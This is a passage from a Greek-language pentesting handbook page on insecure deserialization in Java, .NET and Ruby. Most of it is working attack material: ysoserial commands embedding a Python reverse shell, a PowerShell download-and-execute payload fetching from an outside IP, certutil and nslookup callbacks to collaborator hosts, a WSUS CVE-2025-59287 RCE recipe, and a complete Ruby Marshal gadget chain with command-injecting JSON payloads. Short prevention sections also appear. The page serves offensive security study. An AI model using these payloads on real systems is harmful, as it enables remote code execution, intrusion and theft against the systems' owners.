## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Κατά τη δημιουργία ενός payload για java.lang.Runtime.exec() δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως “>” ή “|” για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, “$()” για να εκτελέσετε εντολές ή ακόμα και να pass arguments σε μια εντολή διαχωρισμένα με spaces (μπορείτε να κάνετε echo -n "hello world" αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'). Για να κωδικοποιήσετε σωστά το payload μπορείτε να use this webpage.

Μη διστάσετε να χρησιμοποιήσετε το επόμενο script για να δημιουργήσετε all the possible code execution payloads για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στην vulnerable web page:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με ysoserial για να δημιουργήσετε περισσότερα exploits. Περισσότερες πληροφορίες για αυτό το εργαλείο στις διαφάνειες της ομιλίας όπου παρουσιάστηκε το εργαλείο: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για να εκμεταλλευτεί διαφορετικές Json και Yml serialization βιβλιοθήκες σε Java.
Για να κάνω compile το project χρειάστηκε να προσθέσω αυτές τις dependencies στο pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Εγκαταστήστε maven, και μεταγλωττίστε το έργο:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Διαβάστε περισσότερα για αυτή τη βιβλιοθήκη Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Εργαστήρια

Γιατί

Η Java χρησιμοποιεί πολύ σειριοποίηση για διάφορους σκοπούς όπως:

  • HTTP requests: Η σειριοποίηση χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
  • RMI (Remote Method Invocation): Το πρωτόκολλο Java RMI, που βασίζεται εξ ολοκλήρου στη σειριοποίηση, είναι θεμέλιος λίθος για την απομακρυσμένη επικοινωνία στις Java εφαρμογές.
  • RMI over HTTP: Αυτή η μέθοδος χρησιμοποιείται συνήθως από Java-based thick client web εφαρμογές, αξιοποιώντας τη σειριοποίηση για όλες τις επικοινωνίες αντικειμένων.
  • JMX (Java Management Extensions): Το JMX χρησιμοποιεί σειριοποίηση για τη μετάδοση αντικειμένων μέσω του δικτύου.
  • Custom Protocols: Στη Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση raw Java objects, κάτι που θα επιδειχθεί σε επερχόμενα παραδείγματα exploit.

Πρόληψη

Transient objects

Μια κλάση που υλοποιεί το Serializable μπορεί να δηλώσει ως transient οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα έπρεπε να είναι σειριοποιήσιμο. Για παράδειγμα:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Αποφυγή της serialization μιας κλάσης που πρέπει να υλοποιεί το Serializable

Σε περιπτώσεις όπου ορισμένα αντικείμενα πρέπει να υλοποιούν το Serializable interface λόγω της ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη εσκεμμένης deserialization. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα δεν μπορούν να απο-serialize-θούν ορίζοντας μια final μέθοδο readObject() που πάντα ρίχνει εξαίρεση, όπως φαίνεται παρακάτω:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Ενίσχυση της ασφάλειας της Deserialization σε Java

Προσαρμογή του java.io.ObjectInputStream είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών deserialization. Αυτή η μέθοδος είναι κατάλληλη όταν:

  • Ο κώδικας deserialization είναι υπό τον έλεγχό σας.
  • Οι κλάσεις που αναμένονται για deserialization είναι γνωστές.

Αντικαταστήστε τη μέθοδο resolveClass() για να περιορίσετε το deserialization μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει το deserialization οποιασδήποτε κλάσης εκτός από αυτές που ρητά επιτρέπονται, όπως στο ακόλουθο παράδειγμα που περιορίζει το deserialization μόνο στην κλάση Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement προσφέρει μια εφεδρική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για blacklisting harmful classes, χρησιμοποιώντας μια παράμετρο JVM:

-javaagent:name-of-agent.jar

Παρέχει έναν τρόπο για την ασφαλή αποσειριοποίηση δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές στον κώδικα είναι μη πρακτικές.

Δες ένα παράδειγμα στο rO0 by Contrast Security

Υλοποίηση Φίλτρων Σειριοποίησης: Java 9 εισήγαγε φίλτρα σειριοποίησης μέσω της διεπαφής ObjectInputFilter, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν αποσειριοποιηθούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν σε παγκόσμιο επίπεδο ή ανά stream, προσφέροντας λεπτομερή έλεγχο στη διαδικασία αποσειριοποίησης.

Για να χρησιμοποιήσετε τα φίλτρα σειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες αποσειριοποίησης ή να το ρυθμίσετε δυναμικά για συγκεκριμένα streams. Για παράδειγμα:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Ενισχυμένη Ασφάλεια: Βιβλιοθήκες όπως οι NotSoSerial, jdeserialize και Kryo προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της Java deserialization. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως whitelisting ή blacklisting κλάσεων, ανάλυση των serialized objects πριν από τη deserialization, και υλοποίηση custom serialization strategies.

  • NotSoSerial παρεμβαίνει στις διαδικασίες deserialization για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
  • jdeserialize επιτρέπει την ανάλυση των serialized Java objects χωρίς να τα deserializing, βοηθώντας στην ταυτοποίηση πιθανώς κακόβουλου περιεχομένου.
  • Kryo είναι ένα εναλλακτικό serialization framework που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας configurable serialization strategies που μπορούν να ενισχύσουν την ασφάλεια.

Αναφορές

JNDI Injection & log4Shell

Βρείτε τι είναι JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell (και παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Προϊόντα

Υπάρχουν διάφορα προϊόντα που χρησιμοποιούν αυτό το middleware για να στέλνουν μηνύματα:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Εκμετάλλευση

Ουσιαστικά υπάρχουν πολλά services που χρησιμοποιούν το JMS με επικίνδυνο τρόπο. Επομένως, αν έχετε αρκετά προνόμια για να στέλνετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα credentials) θα μπορούσατε να στείλετε κακόβουλα serialized objects που θα deserializαριστούν από τον consumer/subscriber.
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι clients που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν.

Πρέπει να θυμάστε ότι ακόμα και αν μια υπηρεσία είναι ευάλωτη (επειδή κάνει insecurely deserializing user input) εξακολουθεί να χρειάζεται να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.

Το εργαλείο JMET δημιουργήθηκε για να συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα malicious serialized objects χρησιμοποιώντας γνωστά gadgets. Αυτές οι εκμεταλλεύσεις θα δουλέψουν αν η υπηρεσία παραμένει ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets υπάρχει μέσα στην ευάλωτη εφαρμογή.

Αναφορές

.Net

Στο πλαίσιο του .Net, οι εκμεταλλεύσεις deserialization λειτουργούν παρόμοια με αυτές που βρίσκονται στη Java, όπου gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά τη deserialization ενός αντικειμένου.

Αποτύπωμα

WhiteBox

Ο πηγαίος κώδικας πρέπει να ελεγχθεί για εμφανίσεις των:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Η προσοχή πρέπει να δοθεί σε serializers που επιτρέπουν τον τύπο να προσδιορίζεται από μια μεταβλητή υπό έλεγχο του χρήστη.

BlackBox

Η αναζήτηση πρέπει να στοχεύει στη Base64 encoded string AAEAAAD///// ή σε οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποβληθεί σε deserialization στην πλευρά του server, δίνοντας τον έλεγχο πάνω στον τύπο που θα deserializαριστεί. Αυτό μπορεί να περιλαμβάνει, αλλά δεν περιορίζεται σε, JSON ή XML δομές που περιέχουν TypeObject ή $type.

ysoserial.net

Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο ysoserial.net για να δημιουργήσετε τα deserialization exploits. Αφού κατεβάσετε το git repository θα πρέπει να συμπληρώσετε/compile το εργαλείο χρησιμοποιώντας Visual Studio για παράδειγμα.

Αν θέλετε να μάθετε πώς το ysoserial.net δημιουργεί το exploit του μπορείτε να ελέγξετε αυτή τη σελίδα όπου εξηγείται το ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Οι κύριες επιλογές του ysoserial.net είναι: --gadget, --formatter, --output και --plugin.

  • --gadget χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτείτε (υποδεικνύει την κλάση/συνάρτηση που θα χρησιμοποιηθεί κατά τη deserialization για την εκτέλεση εντολών).
  • --formatter, χρησιμοποιείται για να υποδείξει τη μέθοδο με την οποία θα serializαριστεί το exploit (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το backend για να deserializάρει το payload και να χρησιμοποιήσετε την ίδια για να το serialize).
  • --output χρησιμοποιείται για να υποδείξετε αν θέλετε το exploit σε raw ή base64 encoded. Σημειώστε ότι το ysoserial.net θα encode το payload χρησιμοποιώντας UTF-16LE (encoding που χρησιμοποιείται εξ ορισμού στα Windows), οπότε αν πάρετε το raw και απλώς το encode-άρετε από μια κονσόλα linux μπορεί να αντιμετωπίσετε προβλήματα compatibility με το encoding που θα εμποδίσουν το exploit να λειτουργήσει σωστά (στο HTB JSON box το payload δούλεψε τόσο σε UTF-16LE όσο και σε ASCII αλλά αυτό δεν σημαίνει πως θα δουλεύει πάντα).
  • --plugin το ysoserial.net υποστηρίζει plugins για να δημιουργεί exploits για συγκεκριμένα frameworks όπως το ViewState

Περισσότερες παράμετροι ysoserial.net

  • --minify θα παράσχει ένα μικρότερο payload (εάν είναι δυνατό)
  • --raf -f Json.Net -c "anything" Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν παρεχόμενο formatter (Json.Net σε αυτή την περίπτωση)
  • --sf xml μπορείτε να υποδείξετε ένα gadget (-g) και το ysoserial.net θα αναζητήσει formatters που περιέχουν “xml” (case insensitive)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

Το ysoserial.net έχει επίσης μια πολύ ενδιαφέρουσα παράμετρο που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε exploit: --test
Εάν δηλώσετε αυτή την παράμετρο το ysoserial.net θα δοκιμάσει το exploit τοπικά, έτσι μπορείτε να δοκιμάσετε αν το payload σας θα λειτουργήσει σωστά.
Αυτή η παράμετρος είναι χρήσιμη γιατί αν ελέγξετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Αυτό σημαίνει ότι για να δοκιμαστεί το exploit, ο κώδικας θα καλέσει serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Στον προηγούμενο κώδικα υπάρχει ευπάθεια στο exploit που δημιουργήθηκε. Οπότε αν βρείτε κάτι παρόμοιο σε μια .Net εφαρμογή πιθανότατα και αυτή η εφαρμογή είναι ευάλωτη.
Επομένως η παράμετρος --test μας επιτρέπει να καταλάβουμε ποια τμήματα κώδικα είναι ευάλωτα στο deserialization exploit που μπορεί να δημιουργήσει το ysoserial.net.

ViewState

Ρίξτε μια ματιά σε αυτό το POST σχετικά με πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο __ViewState του .Net για να εκτελέσετε αυθαίρετο κώδικα. Αν γνωρίζετε ήδη τα secrets που χρησιμοποιεί η μηχανή-θύμα, διαβάστε αυτό το post για να μάθετε πώς να εκτελέσετε κώδικα.

Πραγματικός sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Επηρεασμένα endpoints:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie(): AuthorizationCookie αποκρυπτογραφείται και στη συνέχεια deserialized με BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch και σχετικές SOAP λειτουργίες που φτάνουν σε SoapFormatter sinks· το base64 gadget επεξεργάζεται όταν η κονσόλα WSUS εισάγει/επεξεργάζεται το event.
  • Root cause: bytes υπό έλεγχο attacker φτάνουν σε legacy .NET formatters (BinaryFormatter/SoapFormatter) χωρίς αυστηρές allow‑lists/binders, οπότε οι αλυσίδες gadget εκτελούνται ως ο WSUS service account (συνήθως SYSTEM).

Minimal exploitation (Reporting path):

  1. Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Συνθέστε SOAP για ReportEventBatch ενσωματώνοντας το base64 gadget και κάντε POST στο /ReportingWebService.asmx.
  2. Όταν ένας διαχειριστής ανοίξει την κονσόλα WSUS, το γεγονός αποσειριοποιείται και το gadget ενεργοποιείται (RCE as SYSTEM).

AuthorizationCookie / GetCookie()

  • Ένα πλαστό AuthorizationCookie μπορεί να γίνει αποδεκτό, να αποκρυπτογραφηθεί, και να περαστεί σε BinaryFormatter sink, επιτρέποντας pre‑auth RCE αν είναι προσπελάσιμο.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Πρόληψη

Για να μειώσετε τους κινδύνους που σχετίζονται με την deserialization σε .Net:

  • Αποφύγετε να επιτρέπετε στα data streams να καθορίζουν τους τύπους αντικειμένων τους. Χρησιμοποιήστε DataContractSerializer ή XmlSerializer όταν είναι δυνατό.
  • Για JSON.Net, ορίστε TypeNameHandling σε None: TypeNameHandling = TypeNameHandling.None
  • Αποφύγετε τη χρήση JavaScriptSerializer με JavaScriptTypeResolver.
  • Περιορίστε τους τύπους που μπορούν να deserialized, κατανοώντας τους εγγενείς κινδύνους με .Net types, όπως System.IO.FileInfo, που μπορεί να τροποποιήσει ιδιότητες αρχείων του server, ενδεχομένως οδηγώντας σε denial of service attacks.
  • Να είστε προσεκτικοί με τύπους που έχουν επικίνδυνες ιδιότητες, όπως System.ComponentModel.DataAnnotations.ValidationException με την ιδιότητά του Value, που μπορεί να εκμεταλλευτεί.
  • Ελέγξτε με ασφάλεια τη δημιουργία αντικειμένων τύπων για να αποτρέψετε επιτιθέμενους από το να επηρεάσουν τη διαδικασία deserialization, καθιστώντας ακόμη και DataContractSerializer ή XmlSerializer ευάλωτα.
  • Εφαρμόστε white list ελέγχους χρησιμοποιώντας custom SerializationBinder για BinaryFormatter και JSON.Net.
  • Μείνετε ενημερωμένοι για γνωστά insecure deserialization gadgets στο .Net και βεβαιωθείτε ότι οι deserializers δεν instantiante τέτοιους τύπους.
  • Απομονώστε πιθανώς ριψοκίνδυνο κώδικα από κώδικα με πρόσβαση στο internet για να αποφύγετε την έκθεση γνωστών gadgets, όπως System.Windows.Data.ObjectDataProvider σε WPF εφαρμογές, σε μη αξιόπιστες πηγές δεδομένων.

Αναφορές

Ruby

Στη Ruby, το serialization διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη marshal. Η πρώτη μέθοδος, γνωστή ως dump, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε byte stream. Αυτή η διαδικασία αναφέρεται ως serialization. Αντίθετα, η δεύτερη μέθοδος, load, χρησιμοποιείται για να επαναφέρει ένα byte stream πίσω σε αντικείμενο, μια διαδικασία γνωστή ως deserialization.

Για την ασφάλεια των serialized αντικειμένων, Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code), εξασφαλίζοντας την ακεραιότητα και αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από τις παρακάτω τοποθεσίες:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (περισσότερες πληροφορίες στο https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Άλλη αλυσίδα RCE για εκμετάλλευση του Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Όπως εξηγείται στην αυτή την αναφορά ευπάθειας, εάν κάποια μη ελεγχόμενη είσοδος χρήστη φτάσει στη μέθοδο .send() ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να καλεστεί οποιαδήποτε άλλη μέθοδος του αντικειμένου με οποιουσδήποτε παραμέτρους.

Για παράδειγμα, η κλήση του eval και στη συνέχεια ruby code ως δεύτερης παραμέτρου θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Επιπλέον, αν μόνο μία παράμετρος της .send() ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη ανάλυση, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που δεν χρειάζεται παραμέτρους ή των οποίων οι παράμετροι έχουν προεπιλεγμένες τιμές.
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να εντοπιστούν κάποιες ενδιαφέρουσες μεθόδους που πληρούν αυτές τις απαιτήσεις.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Δείτε πώς είναι δυνατόν να pollute a Ruby class and abuse it in here.

Ruby _json pollution

Όταν στο σώμα αποστέλλονται κάποιες τιμές που δεν είναι hashabled, όπως ένα array, θα προστεθούν σε νέο κλειδί που ονομάζεται _json. Ωστόσο, ένας επιτιθέμενος μπορεί επίσης να ορίσει στο σώμα μια τιμή με όνομα _json με τις αυθαίρετες τιμές που επιθυμεί. Τότε, αν το backend, για παράδειγμα, ελέγχει την εγκυρότητα ενός παραμέτρου αλλά στη συνέχεια χρησιμοποιεί την παράμετρο _json για να εκτελέσει κάποια ενέργεια, μπορεί να γίνει παράκαμψη εξουσιοδότησης.

Δείτε περισσότερες πληροφορίες στη Ruby _json pollution page.

Άλλες βιβλιοθήκες

Αυτή η τεχνική ελήφθη from this blog post.

Υπάρχουν και άλλες Ruby βιβλιοθήκες που μπορούν να χρησιμοποιηθούν για να serialize αντικείμενα και επομένως να καταχρηστούν για να αποκτηθεί RCE κατά τη διάρκεια ενός μη ασφαλούς deserialization. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλείται της φορτωμένης βιβλιοθήκης όποτε γίνεται unserialized (function to abuse to get RCE basically):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Βασικό παράδειγμα:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Σε περίπτωση απόπειρας κατάχρησης του Oj, ήταν δυνατό να βρεθεί μια gadget class που μέσα στη hash function καλεί την to_s, η οποία καλεί τη spec, που καλεί την fetch_path — κάτι που μπορούσε να την κάνει να φέρει ένα random URL, παρέχοντας έναν εξαιρετικό detector για αυτό το είδος των unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε πλήρες RCE με κάτι σαν:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μίας arbitrary file write ευπάθειας με κακόβουλη χρήση της Bootsnap caching:

  • Identify the Vulnerability and Environment

    Η λειτουργία ανεβάσματος αρχείων της Rails εφαρμογής επιτρέπει σε έναν επιτιθέμενο να γράψει αρχεία arbitrarily. Ακόμα κι αν η εφαρμογή τρέχει με περιορισμούς (μόνο συγκεκριμένοι κατάλογοι όπως tmp είναι writable λόγω Docker’s non-root user), αυτό εξακολουθεί να επιτρέπει την εγγραφή στον Bootsnap cache directory (τυπικά under tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Το Bootsnap επιταχύνει τα Rails boot times με το caching compiled Ruby code, YAML, και JSON files. Αποθηκεύει cache αρχεία που περιλαμβάνουν ένα cache key header (με πεδία όπως Ruby version, file size, mtime, compile options, κ.λπ.) ακολουθούμενο από τον compiled code. Αυτό το header χρησιμοποιείται για την επικύρωση της cache κατά την εκκίνηση της εφαρμογής.

  • Gather File Metadata

